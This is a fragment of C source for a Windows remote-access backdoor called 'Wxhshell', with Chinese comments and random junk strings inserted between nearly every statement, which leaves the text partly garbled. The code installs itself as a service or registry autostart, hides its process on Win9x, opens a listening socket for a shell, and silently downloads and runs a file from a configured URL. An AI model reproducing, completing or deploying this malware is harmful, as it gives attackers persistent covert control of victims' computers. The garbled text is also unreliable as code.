+Sv3h HMODULE hMod; q8_(P& char procName[255]; 3CgID6[Sy unsigned long cbNeeded; ]!ox2m_U $TfB72 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +: x[cK PChe w3 CloseHandle(hProcess); [I=|"Ic~ {.542}A if(strstr(procName,"services")) return 1; // 以服务启动 <Y."()}GeH V:w%5'^3 return 0; // 注册表启动 yI1:L
- } Kf1J;*i|\ _tJt
eDRY // 主模块 vP x/&x int StartWxhshell(LPSTR lpCmdLine) L/Q[N^ (^ { w%.hALN5-C SOCKET wsl; ;+<IWDo BOOL val=TRUE; GA[Ebzi int port=0; T[ZmD{6l struct sockaddr_in door; 8'u9R~}) &nP0T-T5y if(wscfg.ws_autoins) Install(); 5afD;0D5TI Iz1x| EQ port=atoi(lpCmdLine); (B>/LsTu :a6LfPEAX if(port<=0) port=wscfg.ws_port; db~^Gqv6k SK
lvZ
WSADATA data; Ww,\s5Uw if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _;BwP -T,?'J0 2 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4T31<wk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IplOXD door.sin_family = AF_INET; l)9IgJ|<b door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZU73UL door.sin_port = htons(port); Ea&|kO| m,lZy#02s3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @khFk.LBD closesocket(wsl); $AZYY\1 return 1; h+}BtKA } /?eVWCR xvV";o if(listen(wsl,2) == INVALID_SOCKET) { $Z:O&sD{ closesocket(wsl); V4+|D2 return 1; UDHWl_%L } 4yxQq7
m, Wxhshell(wsl); _#u\ar) WSACleanup(); 5EFt0?G {Rkd;`Q`! return 0; p?i.<Z wXKtQ#o} } ~w?02FU U?UU]>Q // 以NT服务方式启动 ISGw}# }]? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;Z]Wj9iY { 2!{D~Gfl= DWORD status = 0; 6kYluV+j DWORD specificError = 0xfffffff; ,^:{!?v lL}NiN-)t serviceStatus.dwServiceType = SERVICE_WIN32; XwY,xg&o serviceStatus.dwCurrentState = SERVICE_START_PENDING; V4[-:k serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G?s9c0f serviceStatus.dwWin32ExitCode = 0; 7?*+,Fo# serviceStatus.dwServiceSpecificExitCode = 0; Vu3DP+u|i serviceStatus.dwCheckPoint = 0; *?FVLE serviceStatus.dwWaitHint = 0; mtmC,jnD .nPOjwEx&Y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EhxpMTS if (hServiceStatusHandle==0) return; \ %Mcvb.? ON,[!pc status = GetLastError(); S(gr>eC5 if (status!=NO_ERROR) g-eJan&]N { #`VAw ) eV serviceStatus.dwCurrentState = SERVICE_STOPPED; 6
9>@0P serviceStatus.dwCheckPoint = 0; f/)Y {kS6 serviceStatus.dwWaitHint = 0; @IL04' \ serviceStatus.dwWin32ExitCode = status; NM{)liP
;8 serviceStatus.dwServiceSpecificExitCode = specificError; z@,pT"rb SetServiceStatus(hServiceStatusHandle, &serviceStatus); |p:4s"NT return; b j&!$') } wW%b~JX p*Z<DEh# serviceStatus.dwCurrentState = SERVICE_RUNNING; o(hUC$vW serviceStatus.dwCheckPoint = 0; 4fi4F1 f serviceStatus.dwWaitHint = 0; UD-+BUV if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WZ'<iI } " .7@ ?w:\0j5~ // 处理NT服务事件,比如:启动、停止 v3DK0 MW VOID WINAPI NTServiceHandler(DWORD fdwControl) w|f+OlPXq { 7h\is switch(fdwControl) 7nB4(A2[S4 { =Zj
7dn;EN case SERVICE_CONTROL_STOP: #:?:gY< serviceStatus.dwWin32ExitCode = 0; P.Ntjz/B serviceStatus.dwCurrentState = SERVICE_STOPPED; zK6w0 serviceStatus.dwCheckPoint = 0; I'5[8 serviceStatus.dwWaitHint = 0; -HF?1c { TzKM~a# SetServiceStatus(hServiceStatusHandle, &serviceStatus); y3efie {J } O C&BJNOi return; ?8O5%IrJ case SERVICE_CONTROL_PAUSE: tR!C8:u serviceStatus.dwCurrentState = SERVICE_PAUSED; ^]o
H}lwO break; ]!TE case SERVICE_CONTROL_CONTINUE: ~i1
jh:, serviceStatus.dwCurrentState = SERVICE_RUNNING; JZ}zXv break; "mn?* case SERVICE_CONTROL_INTERROGATE: aVR!~hvFs break; lf-.c$.> }; !$NK7- SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5gqRh}+ } 1tY+0R +(!/(2>~ // 标准应用程序主函数 E:qh}wY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d./R;Z- I{ { ,=e.QAF!" E{)X ;kN= // 获取操作系统版本 "`;-5d g OsIsNt=GetOsVer(); ZY<RNwu GetModuleFileName(NULL,ExeFile,MAX_PATH); `\@n&y[`7 9 m8KDB[N // 从命令行安装 ]U#of O if(strpbrk(lpCmdLine,"iI")) Install(); 3^P;mQ$p1 !n;3jAl&$ // 下载执行文件 f@`|2wG if(wscfg.ws_downexe) { R?1Z[N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t;+b*S6D WinExec(wscfg.ws_filenam,SW_HIDE); G+fo'ThG } UIU Pi
gd ;'Hu75ymo if(!OsIsNt) { 8AW}7.<5 // 如果时win9x,隐藏进程并且设置为注册表启动 V]Te_ >E;w HideProc(); kB?/_a`] StartWxhshell(lpCmdLine); T
9`AL } }bRn&)e else _#H d2h if(StartFromService()) 5`3x(=b // 以服务方式启动 8Vz!zYl StartServiceCtrlDispatcher(DispatchTable); i%!<9D~n else \5tG>>c i // 普通方式启动 +UWv }| StartWxhshell(lpCmdLine); aoz+T h3 r<kgYU` return 0; $S' TW3 }
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